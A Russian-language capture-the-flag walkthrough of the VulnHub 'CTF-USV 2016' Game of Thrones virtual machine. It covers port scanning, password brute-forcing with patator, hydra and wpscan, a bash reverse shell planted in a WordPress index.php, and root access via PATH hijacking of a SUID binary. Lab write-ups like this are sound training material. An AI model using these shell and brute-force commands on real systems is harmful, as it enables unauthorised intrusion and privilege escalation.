
Всем доброго времени суток, в этой статье рассмотрим решение Румынского CTF-USV 2016, на тему: «Игра престолов». Скачать образ виртуальной машины можно по ссылке с VulnHub.
Если вам интересно как проходят межвузовские CTF в Румынии, прошу под кат
Немного о CTF
CTF-USV 2016 was the first International Students Contest in Information Security organized in Romania by Suceava University. Security challenges creation, evaluation of results and building of CTF environment was provided by Safetech Tech Team: Oana Stoian (@gusu_oana), Teodor Lupan (@theologu) and Ionut Georgescu (@ionutge1)
Всего имеется 7 флагов, следующего формата: Country_name Flag: [md5 hash].
Начнём!
Изучим цель nmap'ом:
$ sudo arp-scan -l -I wlan0 | grep "CADMUS COMPUTER SYSTEMS" | awk '{print $1}' | xargs sudo nmap -sV -p1-65535Starting Nmap 7.01 ( nmap.org ) at 2017-01-15 19:47 MSK
Nmap scan report for 192.168.1.102
Host is up (0.00057s latency).
Not shown: 65529 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.3 (protocol 2.0)
80/tcp open http Apache httpd
3129/tcp open http-proxy Squid http proxy 3.5.22
3306/tcp open mysql MariaDB (unauthorized)
4444/tcp open http Foundry EdgeIron switch http config
21211/tcp open ftp vsftpd 2.0.8 or later
MAC Address: 08:00:27:2B:64:55 (Oracle VirtualBox virtual NIC)
Service Info: Host: SevenKingdoms; Device: switch
И приступим ко взятию флагов…
Flag 1 (Croatia)
С первым флагом, всё просто. Запускаем nikto, который сразу нас информирует о наличии необычного заголовка:
$ nikto -h 192.168.1.102+ Uncommon header 'x-xss-protection' found, with contents: Q3JvYXRpYSBGbGFnOiAwYzMyNjc4NDIxNDM5OGFlYjc1MDQ0ZTljZDRjMGViYg==
Декодируем его:
$ echo Q3JvYXRpYSBGbGFnOiAwYzMyNjc4NDIxNDM5OGFlYjc1MDQ0ZTljZDRjMGViYg== | base64 -d
Croatia Flag: 0c326784214398aeb75044e9cd4c0ebbFlag 2 (Italy)

Вот такого дракона можно увидеть при подключении по ssh. А в самом низу зашифрованную строку:
wDOW0gW/QssEtq5Y3nHX4XlbH/Dnz27qHFhHVpMulJSyDCvex++YCd42tx7HKGgB
При внимательном осмотре, можно заметить, наличие некоторых букв, из которых состоит картинка. Сложив всё вместе получаем:
AES ECB xxxxx0000000xxxxxx
Алгоритм, ключ и зашифрованное сообщение у нас есть, например вот тут, расшифровываем и получаем второй флаг:
Italy Flag: 0047449b33fbae830d833721edaef6f1
Flag 3 (Portugal)
Переходим к web. У нас есть сайт (80 порт), и есть прокси (3129 порт). Указав в настройках адрес и порт прокси сервера, в данном случае — атакуемой машины, открываем сайт:

Не много, продолжим:

Обычный WordPress, ничего примечательного. Открыв индексную страницу, попадаем в блог, с несколькими статьями об «Игре престолов». Первое, что бросается в глаза, это следующая публикация:

Открыв это изображение, замечаем, что оно расположено в директории hodor:

Перейдя в которую, нам предлагают скачать архив:

В архиве нас ждёт изображение:

И флаг:
$ echo UG9ydHVnYWwgRmxhZzogYTI2NjNiMjMwNDVkZTU2YzdlOTZhNDA2NDI5ZjczM2Y= | base64 -d
Portugal Flag: a2663b23045de56c7e96a406429f733f Flag 4 (Paraguay)
В самом низу страницы, внимание привлекает вот такой пост:

Парсим сайт, и собираем словарь с паролями для брутфорса:
cewl --proxy_host 192.168.1.102 --proxy_port 3129 http://192.168.1.102/blog/ > blog.lstЗапустив перебор, через некоторое время, patator выдаёт верный пароль:
$ patator http_fuzz http_proxy=192.168.1.102:3129 url='http://192.168.1.102/blog/wp-login.php?action=postpass' method=POST header='Referer: "http://192.168.1.102/blog/index.php/2016/10/16/the-secret-chapter/"' body='post_password=FILE0&Submit=Enter' 0=blog.lst -x ignore:fgrep='post-password-form' follow=1 accept_cookie=1
Вводим его и получаем доступ к содержимому этой публикации:

Декодируем расположенную тут base64 строку и получаем новый флаг:
$ echo UGFyYWd1YXkgRmxhZzogNDc2MWI2NWYyMDA1MzY3NDY1N2M3ZTYxODY2MjhhMjk= | base64 -d
Paraguay Flag: 4761b65f20053674657c7e6186628a29Flag 5 (Thailand)
Если верить содержимому этого поста, то пароль у нас прям перед глазами, да, картинка тут явно в тему. Но если внимательно присмотреться, то ниже есть фраза:
She uses the Field Training Preparation for her army.
Отлично, где авторизовываться мы знаем, остался пароль. Сначала я пробовал ввести отдельные слова, потом, добавил туда обрывки фраз, и в скором времени hydra нашла то, что нужно:

Подключаемся:
$ ftp 192.168.1.102 21211
ftp> ls -ahl
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
dr-xr-xr-x 2 1000 1000 4096 Dec 05 20:05 .
dr-xr-xr-x 2 1000 1000 4096 Dec 05 20:05 ..
-rw-r--r-- 1 0 0 94 Dec 05 20:04 .note.txt
-rw-r--r-- 1 0 0 32 Dec 05 20:05 readme.txt
226 Directory send OK.Скачиваем все доступные файлы, потом будем их изучать:
ftp> get readme.txt
local: readme.txt remote: readme.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for readme.txt (32 bytes).
226 Transfer complete.
32 bytes received in 0.00 secs (226.4 kB/s)
ftp> get .note.txt
local: .note.txt remote: .note.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for .note.txt (94 bytes).
226 Transfer complete.
94 bytes received in 0.00 secs (791.4 kB/s)В первом файле ничего интересного:
readme.txt
I keep a hidden note for myself
А вот второй достоин внимания:
.note.txt
I always forgot passwords, so for my blog account I used my children`s name.
-= Daenerys =-
-= Daenerys =-
Мы узнали подсказку к паролю — это имена её детей, google быстро подсказал, о каких детях идёт речь и как их зовут. Поэтому запустив crunch приступаем к генерации словаря:
$ crunch 1 1 -p Rhaegal Viserion Drogon > dragonsОтправляем это в wpscan для перебора:
$ sudo ./wpscan.rb --proxy 192.168.1.102:3129 --url http://192.168.1.102/blog/ --username mother_of_dragons --wordlist dragons
Спустя некоторое время, получаем пароль от админки WordPress. Авторизуемся, и в профиле текущего пользователя находим следующий флаг:

$ echo VGhhaWxhbmQgRmxhZzogNmFkNzk2NWQxZTA1Y2E5OGIzZWZjNzZkYmY5ZmQ3MzM= | base64 -d
Thailand Flag: 6ad7965d1e05ca98b3efc76dbf9fd733Flag 6 (Mongolia)
Как оказалось, Daenerys имеет в этом блоге права администратора, так что подредактировав файл index.php, сделаем себе шелл, добавив строку:
system('bash -i >& /dev/tcp/192.168.1.124/4444 0>&1');Запускаем netcat, перезагружаем страницу в браузере, и получаем шелл:

Осмотревшись в системе, внимание привлекает файл reward_flag.txt, в директории веб-сервера:
[http@arch blog]$ ls -ahl ../
total 92K
drwxr-xr-x 3 root root 4.0K Nov 17 15:43 .
drwxr-xr-x 4 root root 4.0K May 31 2013 ..
drwxr-xr-x 6 http http 4.0K Jan 15 19:52 blog
-rw-r--r-- 1 root root 59K Nov 16 19:59 gtr.jpg
-rw-r--r-- 1 root root 3.2K Nov 16 20:01 index.html
-rw-r--r-- 1 root root 65 Nov 17 15:41 reward_flag.txt
-rwsr-sr-x 1 root root 8.3K Nov 17 14:55 winterfell_messengerОткроем его, судя по всему, там должен быть флаг:
[http@arch blog]$ cat ../reward_flag.txt
TW9uZ29saWEgRmxhZzogNmI0OWMxM2NjY2Q5MTk0MGYwOWQ3OWUxNDIxMDgzOTQ=
[http@arch blog]$ echo TW9uZ29saWEgRmxhZzogNmI0OWMxM2NjY2Q5MTk0MGYwOWQ3OWUxNDIxMDgzOTQ= | base64 -d
Mongolia Flag: 6b49c13cccd91940f09d79e142108394Flag 7 (Somalia)
В директории с последним флагом лежит ещё какое-то приложение winterfell_messenger, которое судя по наличию SUID бита, вероятно поможет повысить свои привилегии в системе. Запустим его и посмотрим что оно делает:
[http@arch http]$ ./winterfell_messenger
cat: /root/message.txt: No such file or directoryТак, а что на счёт строк?
strings ./winterfell_messenger
[http@arch http]$ strings ./winterfell_messenger
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
system
__libc_start_main
__gmon_start__
GLIBC_2.2.5
UH-8
AWAVA
AUATL
[]A\A]A^A_
cat /root/message.txt
;*3$"
GCC: (GNU) 6.1.1 20160802
GCC: (GNU) 6.2.1 20160830
init.c
crtstuff.c
__JCR_LIST__
deregister_tm_clones
__do_global_dtors_aux
completed.6916
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
__FRAME_END__
__JCR_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_edata
system@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main
__TMC_END__
setuid@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got
.got.plt
.data
.bss
.comment
Даже реверсить не нужно, у нас есть setuid, и system, который использует относительный путь для команды cat, а из документации к system известно, что:
system() выполняет команды, указанные в string, вызывая в свою очередь команду /bin/sh -c string, и возвращается, когда команда выполнена.
В общем, действуем по уже знакомому алгоритму:
[http@arch http]$ PATH=/tmp:$PATH
[http@arch http]$ echo "/bin/bash" > /tmp/cat
[http@arch tmp]$ chmod +x catЗапускаем уязвимую программу и получаем шелл:
[http@arch tmp]$ /srv/http/winterfell_messenger
/srv/http/winterfell_messenger
id
uid=0(root) gid=33(http) groups=33(http)В директории root находим последний флаг:
echo U29tYWxpYSBGbGFnOiA0YTY0YTU3NWJlODBmOGZmYWIyNmIwNmE5NThiY2YzNA== | base64 -d
Somalia Flag: 4a64a575be80f8ffab26b06a958bcf34И принимаем поздравления:

Как указано в описании, это их первый CTF. Для первого раза сойдёт, но повторять не стоит, будем надеяться они и дальше будут развивать эту тему, добавляя более изощрённые задания, ведь в реальной жизни, к сожалению, банальным сканом директорий уже никого не удивить.
Поделиться с друзьями